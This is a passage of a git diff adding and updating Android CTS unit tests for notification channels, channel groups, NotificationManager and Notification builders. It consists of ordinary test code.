+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.NotificationChannelGroup;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+public class NotificationChannelGroupTest extends AndroidTestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    public void testDescribeContents() {
+        final int expected = 0;
+        NotificationChannelGroup group = new NotificationChannelGroup("1", "1");
+        assertEquals(expected, group.describeContents());
+    }
+
+    public void testConstructor() {
+        NotificationChannelGroup group =  new NotificationChannelGroup("1", "one");
+        assertEquals("1", group.getId());
+        assertEquals("one", group.getName());
+    }
+
+    public void testWriteToParcel() {
+        NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+        Parcel parcel = Parcel.obtain();
+        group.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannelGroup fromParcel =
+                NotificationChannelGroup.CREATOR.createFromParcel(parcel);
+        assertEquals(group, fromParcel);
+    }
+
+    public void testClone() {
+        NotificationChannelGroup group =  new NotificationChannelGroup("1", "one");
+        NotificationChannelGroup cloned = group.clone();
+        assertEquals("1", cloned.getId());
+        assertEquals("one", cloned.getName());
+    }
+}
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
new file mode 100644
index 0000000..70ec9cf
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.graphics.Color;
+import android.media.AudioAttributes;
+import android.net.Uri;
+import android.os.Parcel;
+import android.provider.Settings;
+import android.test.AndroidTestCase;
+
+public class NotificationChannelTest extends AndroidTestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    public void testDescribeContents() {
+        final int expected = 0;
+        NotificationChannel channel =
+                new NotificationChannel("1", "1", IMPORTANCE_DEFAULT);
+        assertEquals(expected, channel.describeContents());
+    }
+
+    public void testConstructor() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        assertEquals("1", channel.getId());
+        assertEquals("one", channel.getName());
+        assertEquals(null, channel.getDescription());
+        assertEquals(false, channel.canBypassDnd());
+        assertEquals(false, channel.shouldShowLights());
+        assertEquals(false, channel.shouldVibrate());
+        assertEquals(null, channel.getVibrationPattern());
+        assertEquals(IMPORTANCE_DEFAULT, channel.getImportance());
+        assertEquals(Settings.System.DEFAULT_NOTIFICATION_URI, channel.getSound());
+        assertTrue(channel.canShowBadge());
+        assertEquals(Notification.AUDIO_ATTRIBUTES_DEFAULT, channel.getAudioAttributes());
+        assertEquals(null, channel.getGroup());
+        assertTrue(channel.getLightColor() == 0);
+    }
+
+    public void testWriteToParcel() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        Parcel parcel = Parcel.obtain();
+        channel.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        NotificationChannel channel1 = NotificationChannel.CREATOR.createFromParcel(parcel);
+        assertEquals(channel, channel1);
+    }
+
+    public void testName() {
+        NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+        channel.setName("new name");
+        assertEquals("new name", channel.getName());
+    }
+
+    public void testDescription() {
+        NotificationChannel channel = new NotificationChannel("a", "ab", IMPORTANCE_DEFAULT);
+        channel.setDescription("success");
+        assertEquals("success", channel.getDescription());
+    }
+
+    public void testLights() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.enableLights(true);
+        assertTrue(channel.shouldShowLights());
+        channel.enableLights(false);
+        assertFalse(channel.shouldShowLights());
+    }
+
+    public void testLightColor() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.setLightColor(Color.RED);
+        assertFalse(channel.shouldShowLights());
+        assertEquals(Color.RED, channel.getLightColor());
+    }
+
+    public void testVibration() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.enableVibration(true);
+        assertTrue(channel.shouldVibrate());
+        channel.enableVibration(false);
+        assertFalse(channel.shouldVibrate());
+    }
+
+    public void testVibrationPattern() {
+        final long[] pattern = new long[] {1, 7, 1, 7, 3};
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        assertNull(channel.getVibrationPattern());
+        channel.setVibrationPattern(pattern);
+        assertEquals(pattern, channel.getVibrationPattern());
+        assertTrue(channel.shouldVibrate());
+
+        channel.setVibrationPattern(new long[]{});
+        assertEquals(false, channel.shouldVibrate());
+
+        channel.setVibrationPattern(null);
+        assertEquals(false, channel.shouldVibrate());
+    }
+
+    public void testSound() {
+        Uri expected = new Uri.Builder().scheme("fruit").appendQueryParameter("favorite", "bananas")
+                .build();
+        AudioAttributes attributes = new AudioAttributes.Builder()
+                .setContentType(AudioAttributes.CONTENT_TYPE_UNKNOWN)
+                .setUsage(AudioAttributes.USAGE_NOTIFICATION_RINGTONE)
+                .setFlags(AudioAttributes.FLAG_AUDIBILITY_ENFORCED)
+                .build();
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.setSound(expected, attributes);
+        assertEquals(expected, channel.getSound());
+        assertEquals(attributes, channel.getAudioAttributes());
+    }
+
+    public void testShowBadge() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.setShowBadge(true);
+        assertTrue(channel.canShowBadge());
+    }
+
+    public void testGroup() {
+        NotificationChannel channel =
+                new NotificationChannel("1", "one", IMPORTANCE_DEFAULT);
+        channel.setGroup("banana");
+        assertEquals("banana", channel.getGroup());
+    }
+}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index c4cbaee..3200409 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -17,39 +17,287 @@
 package android.app.cts;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
+import android.app.stubs.R;
 import android.content.Context;
 import android.content.Intent;
+import android.media.AudioAttributes;
+import android.net.Uri;
+import android.provider.Settings;
 import android.provider.Telephony.Threads;
 import android.service.notification.StatusBarNotification;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import android.app.stubs.R;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.UUID;
+
+import java.util.Arrays;
 
 public class NotificationManagerTest extends AndroidTestCase {
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
+    final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
 
     private NotificationManager mNotificationManager;
+    private String mId;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        // This will leave a set of channels on the device with each test run.
+        mId = UUID.randomUUID().toString();
         mNotificationManager = (NotificationManager) mContext.getSystemService(
                 Context.NOTIFICATION_SERVICE);
         // clear the deck so that our getActiveNotifications results are predictable
         mNotificationManager.cancelAll();
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
         mNotificationManager.cancelAll();
+        List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+        // Delete all channels.
+        for (NotificationChannel nc : channels) {
+            if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            mNotificationManager.deleteNotificationChannel(nc.getId());
+        }
     }
 
-    public void testNotify() {
+    public void testCreateChannelGroup() throws Exception {
+        final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(ncg.getId());
+        mNotificationManager.createNotificationChannelGroup(ncg);
+        try {
+            mNotificationManager.createNotificationChannel(channel);
+
+            List<NotificationChannelGroup> ncgs =
+                    mNotificationManager.getNotificationChannelGroups();
+            assertEquals(1, ncgs.size());
+            assertEquals(ncg, ncgs.get(0));
+        } finally {
+            mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+        }
+    }
+
+    public void testDeleteChannelGroup() throws Exception {
+        final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(ncg.getId());
+        mNotificationManager.createNotificationChannelGroup(ncg);
+        mNotificationManager.createNotificationChannel(channel);
+
+        mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+
+        assertNull(mNotificationManager.getNotificationChannel(channel.getId()));
+        assertEquals(0, mNotificationManager.getNotificationChannelGroups().size());
+    }
+
+    public void testCreateChannel() throws Exception {
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setDescription("bananas");
+        channel.enableVibration(true);
+        channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+        channel.setSound(new Uri.Builder().scheme("test").build(),
+                new AudioAttributes.Builder().setUsage(
+                        AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
+        channel.enableLights(true);
+        channel.setBypassDnd(true);
+        channel.setLockscreenVisibility(Notification.VISIBILITY_SECRET);
+        mNotificationManager.createNotificationChannel(channel);
+        final NotificationChannel createdChannel =
+                mNotificationManager.getNotificationChannel(mId);
+        compareChannels(channel, createdChannel);
+        // Lockscreen Visibility and canBypassDnd no longer settable.
+        assertTrue(createdChannel.getLockscreenVisibility() != Notification.VISIBILITY_SECRET);
+        assertFalse(createdChannel.canBypassDnd());
+    }
+
+    public void testCreateChannel_rename() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(channel);
+        channel.setName("new name");
+        mNotificationManager.createNotificationChannel(channel);
+        final NotificationChannel createdChannel =
+                mNotificationManager.getNotificationChannel(mId);
+        compareChannels(channel, createdChannel);
+
+        channel.setImportance(NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channel);
+        assertEquals(NotificationManager.IMPORTANCE_DEFAULT,
+                mNotificationManager.getNotificationChannel(mId).getImportance());
+    }
+
+    public void testCreateSameChannelDoesNotUpdate() throws Exception {
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(channel);
+        final NotificationChannel channelDupe =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channelDupe);
+        final NotificationChannel createdChannel =
+                mNotificationManager.getNotificationChannel(mId);
+        compareChannels(channel, createdChannel);
+    }
+
+    public void testCreateChannelAlreadyExistsNoOp() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(channel);
+        NotificationChannel channelDupe =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channelDupe);
+        compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
+    }
+
+    public void testCreateChannelWithGroup() throws Exception {
+        NotificationChannelGroup ncg = new NotificationChannelGroup("g", "n");
+        mNotificationManager.createNotificationChannelGroup(ncg);
+        try {
+            NotificationChannel channel =
+                    new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+            channel.setGroup(ncg.getId());
+            mNotificationManager.createNotificationChannel(channel);
+            compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
+        } finally {
+            mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+        }
+    }
+
+    public void testCreateChannelWithBadGroup() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup("garbage");
+        try {
+            mNotificationManager.createNotificationChannel(channel);
+            fail("Created notification with bad group");
+        } catch (IllegalArgumentException e) {}
+    }
+
+    public void testCreateChannelInvalidImportance() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_UNSPECIFIED);
+        try {
+            mNotificationManager.createNotificationChannel(channel);
+        } catch (IllegalArgumentException e) {
+            //success
+        }
+    }
+
+    public void testDeleteChannel() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_LOW);
+        mNotificationManager.createNotificationChannel(channel);
+        compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
+        mNotificationManager.deleteNotificationChannel(channel.getId());
+        assertNull(mNotificationManager.getNotificationChannel(channel.getId()));
+    }
+
+    public void testCannotDeleteDefaultChannel() throws Exception {
+        try {
+            mNotificationManager.deleteNotificationChannel(NotificationChannel.DEFAULT_CHANNEL_ID);
+            fail("Deleted default channel");
+        } catch (IllegalArgumentException e) {
+            //success
+        }
+    }
+
+    public void testGetChannel() throws Exception {
+        NotificationChannel channel1 =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        NotificationChannel channel2 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+        NotificationChannel channel3 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+        NotificationChannel channel4 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+        mNotificationManager.createNotificationChannel(channel1);
+        mNotificationManager.createNotificationChannel(channel2);
+        mNotificationManager.createNotificationChannel(channel3);
+        mNotificationManager.createNotificationChannel(channel4);
+
+        compareChannels(channel2,
+                mNotificationManager.getNotificationChannel(channel2.getId()));
+        compareChannels(channel3,
+                mNotificationManager.getNotificationChannel(channel3.getId()));
+        compareChannels(channel1,
+                mNotificationManager.getNotificationChannel(channel1.getId()));
+        compareChannels(channel4,
+                mNotificationManager.getNotificationChannel(channel4.getId()));
+    }
+
+    public void testGetChannels() throws Exception {
+        NotificationChannel channel1 =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        NotificationChannel channel2 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+        NotificationChannel channel3 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+        NotificationChannel channel4 =
+                new NotificationChannel(
+                        UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+
+        Map<String, NotificationChannel> channelMap = new HashMap<>();
+        channelMap.put(channel1.getId(), channel1);
+        channelMap.put(channel2.getId(), channel2);
+        channelMap.put(channel3.getId(), channel3);
+        channelMap.put(channel4.getId(), channel4);
+        mNotificationManager.createNotificationChannel(channel1);
+        mNotificationManager.createNotificationChannel(channel2);
+        mNotificationManager.createNotificationChannel(channel3);
+        mNotificationManager.createNotificationChannel(channel4);
+
+        mNotificationManager.deleteNotificationChannel(channel3.getId());
+
+        List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+        for (NotificationChannel nc : channels) {
+            if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            if (NOTIFICATION_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            assertFalse(channel3.getId().equals(nc.getId()));
+            compareChannels(channelMap.get(nc.getId()), nc);
+        }
+    }
+
+    public void testRecreateDeletedChannel() throws Exception {
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setShowBadge(true);
+        NotificationChannel newChannel = new NotificationChannel(
+                channel.getId(), channel.getName(), NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.deleteNotificationChannel(channel.getId());
+
+        mNotificationManager.createNotificationChannel(newChannel);
+
+        compareChannels(channel,
+                mNotificationManager.getNotificationChannel(newChannel.getId()));
+    }
+
+    public void testNotify() throws Exception {
         mNotificationManager.cancelAll();
 
         final int id = 1;
@@ -68,7 +316,7 @@
         }
     }
 
-    public void testCancel() {
+    public void testCancel() throws Exception {
         final int id = 9;
         sendNotification(id, R.drawable.black);
         mNotificationManager.cancel(id);
@@ -78,7 +326,7 @@
         }
     }
 
-    public void testCancelAll() {
+    public void testCancelAll() throws Exception {
         sendNotification(1, R.drawable.black);
         sendNotification(2, R.drawable.blue);
         sendNotification(3, R.drawable.yellow);
@@ -93,11 +341,41 @@
         }
         mNotificationManager.cancelAll();
 
-        StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
-        assertTrue("notification list was not empty after cancelAll", sbns.length == 0);
+        for (int id = 1; id <= 3; id++) {
+            if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+                fail("Failed to cancel notification id=" + id);
+            }
+        }
+
     }
 
-    private void sendNotification(final int id, final int icon) {
+    public void testNotifyWithTimeout() throws Exception {
+        mNotificationManager.cancelAll();
+        final int id = 128;
+        final long timeout = 1000;
+
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .setTimeoutAfter(timeout)
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + id);
+        }
+
+        try {
+            Thread.sleep(timeout);
+        } catch (InterruptedException ex) {
+            // pass
+        }
+        checkNotificationExistence(id, false);
+    }
+
+    private void sendNotification(final int id, final int icon) throws Exception {
         final Intent intent = new Intent(Intent.ACTION_MAIN, Threads.CONTENT_URI);
 
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
@@ -105,23 +383,24 @@
         intent.setAction(Intent.ACTION_MAIN);
 
         final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
-        final Notification notification = new Notification.Builder(mContext)
-                .setSmallIcon(icon)
-                .setWhen(System.currentTimeMillis())
-                .setContentTitle("notify#" + id)
-                .setContentText("This is #" + id + "notification  ")
-                .setContentIntent(pendingIntent)
-                .build();
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(icon)
+                    .setWhen(System.currentTimeMillis())
+                    .setContentTitle("notify#" + id)
+                    .setContentText("This is #" + id + "notification  ")
+                    .setContentIntent(pendingIntent)
+                    .build();
         mNotificationManager.notify(id, notification);
 
-
         if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
             fail("couldn't find posted notification id=" + id);
         }
     }
 
     private boolean checkNotificationExistence(int id, boolean shouldExist) {
-        // notification is a bit asynchronous so it may take a few ms to appear in getActiveNotifications()
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
         // we will check for it for up to 200ms before giving up
         boolean found = false;
         for (int tries=3; tries-->0;) {
@@ -143,4 +422,30 @@
         }
         return found == shouldExist;
     }
+
+    private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
+        if (actual == null) {
+            fail("actual channel is null");
+            return;
+        }
+        if (expected == null) {
+            fail("expected channel is null");
+            return;
+        }
+        assertEquals(expected.getId(), actual.getId());
+        assertEquals(expected.getName(), actual.getName());
+        assertEquals(expected.getDescription(), actual.getDescription());
+        assertEquals(expected.shouldVibrate(), actual.shouldVibrate());
+        assertEquals(expected.shouldShowLights(), actual.shouldShowLights());
+        assertEquals(expected.getImportance(), actual.getImportance());
+        if (expected.getSound() == null) {
+            assertEquals(Settings.System.DEFAULT_NOTIFICATION_URI, actual.getSound());
+            assertEquals(Notification.AUDIO_ATTRIBUTES_DEFAULT, actual.getAudioAttributes());
+        } else {
+            assertEquals(expected.getSound(), actual.getSound());
+            assertEquals(expected.getAudioAttributes(), actual.getAudioAttributes());
+        }
+        assertTrue(Arrays.equals(expected.getVibrationPattern(), actual.getVibrationPattern()));
+        assertEquals(expected.getGroup(), actual.getGroup());
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 42a158e..25c25e3 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -17,7 +17,11 @@
 package android.app.cts;
 
 import android.app.Notification;
+import android.app.Notification.MessagingStyle.Message;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.PendingIntent;
+import android.app.RemoteInput;
 import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
@@ -25,8 +29,14 @@
 import android.test.AndroidTestCase;
 import android.widget.RemoteViews;
 
-public class NotificationTest extends AndroidTestCase {
+import org.mockito.internal.matchers.Not;
 
+public class NotificationTest extends AndroidTestCase {
+    private static final String TEXT_RESULT_KEY = "text";
+    private static final String DATA_RESULT_KEY = "data";
+    private static final String DATA_AND_TEXT_RESULT_KEY = "data and text";
+
+    private Notification.Action mAction;
     private Notification mNotification;
     private Context mContext;
 
@@ -34,7 +44,13 @@
     private static final String CONTENT_TITLE = "contentTitle";
     private static final String CONTENT_TEXT = "contentText";
     private static final String URI_STRING = "uriString";
+    private static final String ACTION_TITLE = "actionTitle";
     private static final int TOLERANCE = 200;
+    private static final long TIMEOUT = 4000;
+    private static final NotificationChannel CHANNEL = new NotificationChannel("id", "name",
+            NotificationManager.IMPORTANCE_HIGH);
+    private static final String SHORTCUT_ID = "shortcutId";
+    private static final String SETTING_TEXT = "work chats";
 
     @Override
     protected void setUp() throws Exception {
@@ -55,6 +71,16 @@
         assertEquals(notificationTime, mNotification.when);
         assertEquals(0, mNotification.icon);
         assertEquals(TICKER_TEXT, mNotification.tickerText);
+        assertEquals(0, mNotification.number);
+    }
+
+    public void testBuilderConstructor() {
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId()).build();
+        assertEquals(CHANNEL.getId(), mNotification.getChannelId());
+        assertEquals(Notification.BADGE_ICON_NONE, mNotification.getBadgeIconType());
+        assertNull(mNotification.getShortcutId());
+        assertEquals(Notification.GROUP_ALERT_ALL, mNotification.getGroupAlertBehavior());
+        assertEquals((long) 0, mNotification.getTimeoutAfter());
     }
 
     public void testDescribeContents() {
@@ -64,7 +90,14 @@
     }
 
     public void testWriteToParcel() {
-        mNotification = new Notification();
+
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId())
+                .setBadgeIconType(Notification.BADGE_ICON_SMALL)
+                .setShortcutId(SHORTCUT_ID)
+                .setTimeoutAfter(TIMEOUT)
+                .setSettingsText(SETTING_TEXT)
+                .setGroupAlertBehavior(Notification.GROUP_ALERT_CHILDREN)
+                .build();
         mNotification.icon = 0;
         mNotification.number = 1;
         final Intent intent = new Intent();
@@ -90,6 +123,7 @@
         mNotification.ledOnMS = 0;
         mNotification.ledOffMS = 0;
         mNotification.iconLevel = 0;
+
         Parcel parcel = Parcel.obtain();
         mNotification.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
@@ -113,6 +147,12 @@
         assertEquals(mNotification.ledOnMS, result.ledOnMS);
         assertEquals(mNotification.ledOffMS, result.ledOffMS);
         assertEquals(mNotification.iconLevel, result.iconLevel);
+        assertEquals(mNotification.getShortcutId(), result.getShortcutId());
+        assertEquals(mNotification.getBadgeIconType(), result.getBadgeIconType());
+        assertEquals(mNotification.getTimeoutAfter(), result.getTimeoutAfter());
+        assertEquals(mNotification.getChannelId(), result.getChannelId());
+        assertEquals(mNotification.getSettingsText(), result.getSettingsText());
+        assertEquals(mNotification.getGroupAlertBehavior(), result.getGroupAlertBehavior());
 
         mNotification.contentIntent = null;
         parcel = Parcel.obtain();
@@ -150,23 +190,134 @@
         assertNull(result.sound);
     }
 
+    public void testColorizeNotification() {
+        mNotification = new Notification.Builder(mContext, "channel_id")
+                .setSmallIcon(1)
+                .setContentTitle(CONTENT_TITLE)
+                .setColorized(true)
+                .build();
+
+        assertTrue(mNotification.extras.getBoolean(Notification.EXTRA_COLORIZED));
+    }
+
     public void testBuilder() {
         final Intent intent = new Intent();
         final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
-        mNotification = new Notification.Builder(mContext)
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId())
                 .setSmallIcon(1)
                 .setContentTitle(CONTENT_TITLE)
                 .setContentText(CONTENT_TEXT)
                 .setContentIntent(contentIntent)
+                .setBadgeIconType(Notification.BADGE_ICON_SMALL)
+                .setShortcutId(SHORTCUT_ID)
+                .setTimeoutAfter(TIMEOUT)
+                .setSettingsText(SETTING_TEXT)
+                .setGroupAlertBehavior(Notification.GROUP_ALERT_SUMMARY)
                 .build();
         assertEquals(CONTENT_TEXT, mNotification.extras.getString(Notification.EXTRA_TEXT));
         assertEquals(CONTENT_TITLE, mNotification.extras.getString(Notification.EXTRA_TITLE));
         assertEquals(1, mNotification.icon);
         assertEquals(contentIntent, mNotification.contentIntent);
+        assertEquals(CHANNEL.getId(), mNotification.getChannelId());
+        assertEquals(Notification.BADGE_ICON_SMALL, mNotification.getBadgeIconType());
+        assertEquals(SHORTCUT_ID, mNotification.getShortcutId());
+        assertEquals(TIMEOUT, mNotification.getTimeoutAfter());
+        assertEquals(SETTING_TEXT, mNotification.getSettingsText());
+        assertEquals(Notification.GROUP_ALERT_SUMMARY, mNotification.getGroupAlertBehavior());
+    }
+
+    public void testActionBuilder() {
+        final Intent intent = new Intent();
+        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        mAction = null;
+        mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent).build();
+        assertEquals(ACTION_TITLE, mAction.title);
+        assertEquals(actionIntent, mAction.actionIntent);
+        assertEquals(true, mAction.getAllowGeneratedReplies());
+    }
+
+    public void testMessagingStyle_historicMessages() {
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId())
+                .setSmallIcon(1)
+                .setContentTitle(CONTENT_TITLE)
+                .setStyle(new Notification.MessagingStyle("self name")
+                        .addMessage("text", 0, "sender")
+                        .addMessage(new Message("image", 0, "sender")
+                                .setData("image/png", Uri.parse("http://example.com/image.png")))
+                        .addHistoricMessage(new Message("historic text", 0, "historic sender"))
+                        .setConversationTitle("title")
+                ).build();
+
+        assertNotNull(
+                mNotification.extras.getParcelableArray(Notification.EXTRA_HISTORIC_MESSAGES));
     }
 
     public void testToString() {
         mNotification = new Notification();
         assertNotNull(mNotification.toString());
+        mNotification = null;
+    }
+
+    public void testNotificationActionBuilder_setDataOnlyRemoteInput() throws Throwable {
+        Notification.Action a = newActionBuilder()
+                .addRemoteInput(newDataOnlyRemoteInput()).build();
+        RemoteInput[] textInputs = a.getRemoteInputs();
+        assertTrue(textInputs == null || textInputs.length == 0);
+        verifyRemoteInputArrayHasSingleResult(a.getDataOnlyRemoteInputs(), DATA_RESULT_KEY);
+    }
+
+    public void testNotificationActionBuilder_setTextAndDataOnlyRemoteInput() throws Throwable {
+        Notification.Action a = newActionBuilder()
+                .addRemoteInput(newDataOnlyRemoteInput())
+                .addRemoteInput(newTextRemoteInput())
+                .build();
+
+        verifyRemoteInputArrayHasSingleResult(a.getRemoteInputs(), TEXT_RESULT_KEY);
+        verifyRemoteInputArrayHasSingleResult(a.getDataOnlyRemoteInputs(), DATA_RESULT_KEY);
+    }
+
+    public void testNotificationActionBuilder_setTextAndDataOnlyAndBothRemoteInput()
+            throws Throwable {
+        Notification.Action a = newActionBuilder()
+                .addRemoteInput(newDataOnlyRemoteInput())
+                .addRemoteInput(newTextRemoteInput())
+                .addRemoteInput(newTextAndDataRemoteInput())
+                .build();
+
+        assertTrue(a.getRemoteInputs() != null && a.getRemoteInputs().length == 2);
+        assertEquals(TEXT_RESULT_KEY, a.getRemoteInputs()[0].getResultKey());
+        assertFalse(a.getRemoteInputs()[0].isDataOnly());
+        assertEquals(DATA_AND_TEXT_RESULT_KEY, a.getRemoteInputs()[1].getResultKey());
+        assertFalse(a.getRemoteInputs()[1].isDataOnly());
+
+        verifyRemoteInputArrayHasSingleResult(a.getDataOnlyRemoteInputs(), DATA_RESULT_KEY);
+        assertTrue(a.getDataOnlyRemoteInputs()[0].isDataOnly());
+    }
+
+    private static RemoteInput newDataOnlyRemoteInput() {
+        return new RemoteInput.Builder(DATA_RESULT_KEY)
+            .setAllowFreeFormInput(false)
+            .setAllowDataType("mimeType", true)
+            .build();
+    }
+
